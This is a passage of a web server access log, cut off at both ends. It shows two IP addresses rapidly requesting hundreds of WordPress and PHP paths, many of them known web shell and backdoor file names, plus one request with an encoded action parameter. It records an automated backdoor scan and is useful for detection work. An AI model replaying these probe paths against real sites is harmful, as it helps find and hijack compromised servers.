"-" "-" 52.164.243.23 - - [29/Apr/2025:10:19:10 -0400] "GET /wp-cli.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:19:11 -0400] "GET /wp-configs.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:19:11 -0400] "GET /wp-content/atomlib.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:19:12 -0400] "GET /wp-content/languages/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:19:13 -0400] "GET /wp-content/plugins/WordPressCore/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:19:13 -0400] "GET /wp-content/plugins/WordPressCore/fm.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:19:14 -0400] "GET /wp-content/plugins/classic-editor/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:19:14 -0400] "GET /wp-content/plugins/core-plugin/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:19:15 -0400] "GET /wp-content/plugins/core-plugin/include.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:19:16 -0400] "GET /wp-content/plugins/revslider/includes/external/page/index.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:19:16 -0400] "GET /wp-content/plugins/seoplugins/mar.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:19:17 -0400] "GET /wp-content/plugins/wp-theme-editor/include.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:19:17 -0400] "GET /wp-content/shell20211028.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:19:18 -0400] "GET /wp-content/themes/Divi/includes/builder/frontend-builder/assets/vendors/plugins/fullscreen/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:19:18 -0400] "GET /wp-content/themes/index.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:19:19 -0400] "GET /wp-content/themes/pridmag/1.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:19:19 -0400] "GET /wp-content/themes/sketch/404.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:19:20 -0400] "GET /wp-content/themes/twentyfive/include.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:19:20 -0400] "GET /wp-content/uploads HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:19:21 -0400] "GET /wp-content/x/index.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:19:21 -0400] "GET /wp-file.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:19:22 -0400] "GET /wp-includes/IXR/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:19:22 -0400] "GET /wp-includes/Requests/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:19:23 -0400] "GET /wp-includes/Requests/Cookie/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:19:23 -0400] "GET /wp-includes/Requests/library/about.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:19:24 -0400] "GET /wp-includes/SimplePie/Parse/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:19:24 -0400] "GET /wp-includes/Text/chosen.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:19:25 -0400] "GET /wp-includes/about.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:19:26 -0400] "GET /wp-includes/blocks/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:19:26 -0400] "GET /wp-includes/blocks/more/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:19:27 -0400] "GET /wp-includes/blocks/post-author/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:19:27 -0400] "GET /wp-includes/blocks/site-logo/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:19:28 -0400] "GET /wp-includes/blocks/social-links/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:19:28 -0400] "GET /wp-includes/blocks/term-description/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:19:29 -0400] "GET /wp-includes/css/dist/preferences/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:19:29 -0400] "GET /wp-includes/fonts/index.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:19:30 -0400] "GET /wp-includes/images/crystal/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:19:30 -0400] "GET /wp-includes/install.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:19:31 -0400] "GET /wp-includes/js/tinymce/plugins/compat3x/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:19:32 -0400] "GET /wp-includes/rest-api/fields/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:19:32 -0400] "GET /wp-includes/sts.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:19:33 -0400] "GET /wp-includes/wp-class.php/wp-content/themes/travelscape/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:19:33 -0400] "GET /wp-info.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:19:34 -0400] "GET /ws.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:19:34 -0400] "GET /x.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:19:35 -0400] "GET /xleet.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [29/Apr/2025:10:19:35 -0400] "GET /xox.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:32:35 -0400] "GET /wp-includes/js/dist/vendor/vcard.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:32:36 -0400] "GET /wp-admin/css/colors/blue/blue.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:32:37 -0400] "GET /filemanager/dialog.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:32:38 -0400] "GET /.tmb/cpabpkyk.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:32:38 -0400] "GET /.tmb/wp-login.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:32:39 -0400] "GET /.well-known/pki-validation/wp-admin/install.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:32:39 -0400] "GET /xt/smaxx.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:32:40 -0400] "GET /cgi-bin/sx.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:32:40 -0400] "GET /admin/upload/css.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:32:41 -0400] "GET /LA.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:32:41 -0400] "GET /wp-includes/customize/amaxx.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:32:42 -0400] "GET /wp-content/updates.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:32:43 -0400] "GET /wp-admin/network/upfile.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:32:43 -0400] "GET /menu-header.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:32:44 -0400] "GET /wp-content/plugins/core/include.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:32:45 -0400] "GET /defaul1.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:32:45 -0400] "GET /customize.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:32:46 -0400] "GET /cgi-bin/wp-signup.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:32:47 -0400] "GET /wp-content/plugins/backup-backup/includes/923924098...php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:32:47 -0400] "GET /wp-content/plugins/WordPressCore/cong.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:32:48 -0400] "GET /wp-admin/css/colors/sunrise/item.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:32:49 -0400] "GET /assets/atomlib.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:32:49 -0400] "GET /libraries/vendor/updates.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:32:50 -0400] "GET /wp-includes/smaxx.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:32:50 -0400] "GET /wp-content/plugins/wso.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:32:51 -0400] "GET /.well-known/wso112233.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:32:52 -0400] "GET /wp-includes/blocks/block/moon.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:32:52 -0400] "GET /adminfuns.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:32:53 -0400] "GET /wp-admin/users.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:32:53 -0400] "GET /wp-admin/wp-login.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:32:54 -0400] "GET /login HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:32:55 -0400] "GET /wp-includes/block-supports/sx.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:32:56 -0400] "GET /wp-includes/aa.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:32:57 -0400] "GET /wp-includes/class-flitert.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:32:58 -0400] "GET /wp-content/plugins/seoplugins/mar.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:32:59 -0400] "GET /wp-includes/class-controller-theme-comment.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:32:59 -0400] "GET /wp-admin/YP1cuvy6WrD.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:33:00 -0400] "GET /wp-content/plugins/about.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:33:00 -0400] "GET /wp-crons.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:33:01 -0400] "GET /.well-known/acme-challenge/license.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:33:02 -0400] "GET /checkbox.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:33:02 -0400] "GET /.tmb/LA.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:33:03 -0400] "GET /revision.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:33:03 -0400] "GET /wp-includes/Text/7ayddz.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:33:04 -0400] "GET /wp-includes/PHPMailer/upfile_(2).php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:33:05 -0400] "GET /css/wp-login.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:33:06 -0400] "GET /geju.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:33:08 -0400] "GET /fm1.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:33:09 -0400] "GET /.well-known/pki-validation/amaxx.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:33:10 -0400] "GET /moddofuns.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:33:11 -0400] "GET /wordpress/wp-includes/shell20211028.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:33:12 -0400] "GET /wp/wp-admin/includes/class-wp-page-mvb2yr.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:33:13 -0400] "GET /home/cloud.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:33:14 -0400] "GET /contact.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:33:15 -0400] "GET /wp-includes/sodium_compat/src/Core/Curve25519/Ge/wp_blog.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:33:15 -0400] "GET /epinyins.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:33:16 -0400] "GET /wp-includes/images/1.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:33:17 -0400] "GET /wp-content/themes/sketch/404.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:33:17 -0400] "GET /wp-admin/maint/atomlib.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:33:18 -0400] "GET /.well-known/pki-validation/ssl.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:33:18 -0400] "GET /wp-content/upgrade/edit.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:33:19 -0400] "GET /default.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:33:19 -0400] "GET /img/dot.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:33:20 -0400] "GET /wp-content/uploads/2023/03/z.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:33:20 -0400] "GET /wp-admin/admin.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:33:21 -0400] "GET /wp-content/themes/twentyseventeen/page/index.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:33:22 -0400] "GET /.well-known/pki-validation/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:33:22 -0400] "GET /wp-content/themes/twentytwenty/404.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:33:23 -0400] "GET /.well-known/acme-challenge/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:33:23 -0400] "GET /wp-admin/js/widgets/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:33:24 -0400] "GET /wp-content/plugins/contact-form-7/includes/js/jquery-ui/themes/smoothness/admin.php/gawean.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:33:25 -0400] "GET /wp-admin/network/sx.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:33:25 -0400] "GET /docs/cc.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:33:26 -0400] "GET /cgi-bin/wp-login.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:33:26 -0400] "GET /wp-admin/maint/moon.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:33:27 -0400] "GET /.well-known/cwianpri.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:33:27 -0400] "GET /wp-admin/js/wp-login.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:33:28 -0400] "GET /wp-content/uploads/2023/05/install.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:33:29 -0400] "GET /wp-admin/images/wp-login.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:33:29 -0400] "GET /home/newsr.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:33:30 -0400] "GET /wp-admin/images/file.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:33:30 -0400] "GET /wp-content/plugins/Cache/Cache.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:33:31 -0400] "GET /admin-post.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:33:31 -0400] "GET /wp-includes/css.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:33:32 -0400] "GET /.well-known/pki-validation/ibkejxnu.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:33:33 -0400] "GET /.well-known/pki-validation/content.php.suspected HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:33:33 -0400] "GET /wordpress/wp-includes/IXR/allez.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:33:34 -0400] "GET /ms-themes.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:33:34 -0400] "GET /cgi-bin/cloud.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:33:35 -0400] "GET /wp-content/plugins/WordPressCore/fm.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:33:35 -0400] "GET /.well-known/acme-challenge/classsmtps.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:33:36 -0400] "GET /wp-admin/js/privacy-tools.min.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:33:37 -0400] "GET /wp-content/upgrade/wp-login.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:33:37 -0400] "GET /assets/images/tinyimg.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:33:38 -0400] "GET /wp-includes/js/codemirror/about.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:33:38 -0400] "GET /byp.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:33:39 -0400] "GET /gh.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:33:39 -0400] "GET /TNT.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:33:40 -0400] "GET /wp-includes/fonts/log404.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:33:40 -0400] "GET /.well-known/pki-validation/wp-scripts.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:33:41 -0400] "GET /wp-includes/js/tinymce/skins/wordpress/images/index.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:33:41 -0400] "GET /ern1.PhP7 HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:33:42 -0400] "GET /wp-content/plugins/linkpreview/db.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:33:42 -0400] "GET /images/cloud.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:33:43 -0400] "GET /wp-includes/assets/plugins.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:33:43 -0400] "GET /.well-known/pki-validation/lang-load-role.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:33:44 -0400] "GET /wp-includes/widgets/class-wp-widget-tag.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:33:44 -0400] "GET /wp-includes/IXR/install.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:33:45 -0400] "GET /wp-includes/css/dist/list-reusable-blocks/themes.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:33:46 -0400] "GET /.well-known/acme-challenge/plugins.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:33:46 -0400] "GET /wp-init.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:33:47 -0400] "GET /wp-admin/js//wp-admin/js/about.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:33:47 -0400] "GET /ynz.PhP7 HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:33:48 -0400] "GET /ioxi001.PhP7 HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:34:06 -0400] "GET /wp-includes/images/smaxx.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:34:06 -0400] "GET /.well-known/acme-challenge/moon.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:34:07 -0400] "GET /.well-known/pki-validation/top.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:34:07 -0400] "GET /.well-known/pki-validation/file.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:34:08 -0400] "GET /old.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:34:08 -0400] "GET /wp-includes/wp-links.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:34:09 -0400] "GET /wp-admin/user/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:34:09 -0400] "GET /wp-admin/doc.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:34:10 -0400] "GET /moderation.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:34:10 -0400] "GET /.well-known/acme-challenge/content.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:34:11 -0400] "GET /wp-includes/ID3/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:34:12 -0400] "GET /ern.PhP7 HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:34:12 -0400] "GET /wp-includes/PHPMailer/about.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:34:13 -0400] "GET /alfa-rex.PhP7 HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:34:13 -0400] "GET /.well-known/pki-validation/themes.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:34:14 -0400] "GET /.well-known/pki-validation/gkiliuew.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:34:14 -0400] "GET /worm3.PhP7 HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:34:15 -0400] "GET /wp-content/upload.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:34:15 -0400] "GET /.well-known/pki-validation/plugins.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:34:16 -0400] "GET /wp-admin/images/wp-load.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:34:16 -0400] "GET /wp-includes/log404.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:34:17 -0400] "GET /wp-includes/Requests/Text/admin.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:34:17 -0400] "GET /wp-admin/home.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:34:18 -0400] "GET /rendixd.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:34:18 -0400] "GET /wp-admin/css/colors/coffee/themes.php.hacked HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:34:19 -0400] "GET /ALFA_DATA/alfacgiapi/function.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:34:19 -0400] "GET /wp-includes/ID3/module.tag.id3v3.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:34:20 -0400] "GET /wp-includes/sodium_compat/src/Core/Curve25519/Ge/about.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:34:21 -0400] "GET /wp-content/uploads/cong.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:34:21 -0400] "GET /.well-known/pki-validation/wp-login.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:34:22 -0400] "GET /css/admin.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:34:23 -0400] "GET /assets/app.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:34:24 -0400] "GET /wp-admin/css/colors/blue/blkaabkj.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:34:24 -0400] "GET /wp-content/ccx/index.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:34:25 -0400] "GET /wp-includes/css/SEEP77.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:34:25 -0400] "GET /wp-includes/PHPMailer/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:34:26 -0400] "GET /wp-includes/js/tinymce/langs/atomlib.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:34:26 -0400] "GET /wp-admin/js/about.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:34:27 -0400] "GET /wp-includes/sitemaps/about.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:34:28 -0400] "GET /wp-admin/includes/class_api.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:34:28 -0400] "GET /assets/images/cmd.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:34:29 -0400] "GET /wp-admin/includes/themes.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:34:30 -0400] "GET /.well-known/acme-challenge/cloud.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:34:30 -0400] "GET /.well-known/admin.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:34:31 -0400] "GET /worm0.PhP7 HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:34:32 -0400] "GET /wp-includes/css/dist/components/nomox.php.suspected HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:34:32 -0400] "GET /wp-includes/themes.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:34:33 -0400] "GET /.well-known/yrfjzewo.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:34:34 -0400] "GET /wp-admin/css/colors/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:34:34 -0400] "GET /ioxi02.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:34:35 -0400] "GET /wp-includes/log403.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:34:36 -0400] "GET /wp-content/themes/travelscape/json.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:34:36 -0400] "GET /wp-includes/Requests/library/don.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:34:37 -0400] "GET /wp-admin/x.php?action=768776e296b6f286f26796e2a72607e2972647 HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:34:37 -0400] "GET /wp-admin/maint/src_api.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:34:38 -0400] "GET /wp-admin/user/sx.php HTTP/1.1" 301 795 "-" "-" 23.102.57.67 - - [29/Apr/2025:10:34:39 -0400] "GET /wp-admin/css/sx.php HTTP/1.1" 